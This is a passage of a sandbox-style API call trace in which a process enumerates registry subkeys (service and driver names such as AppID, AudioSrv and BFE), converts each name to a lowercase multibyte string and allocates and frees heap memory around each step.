Size=0x80) returned 0x21f2eb0 [0255.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0255.213] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.213] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.214] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0255.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.215] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0255.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.216] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f19b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0255.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.217] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.218] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.218] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.218] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.219] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.219] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.219] RtlFreeHeap 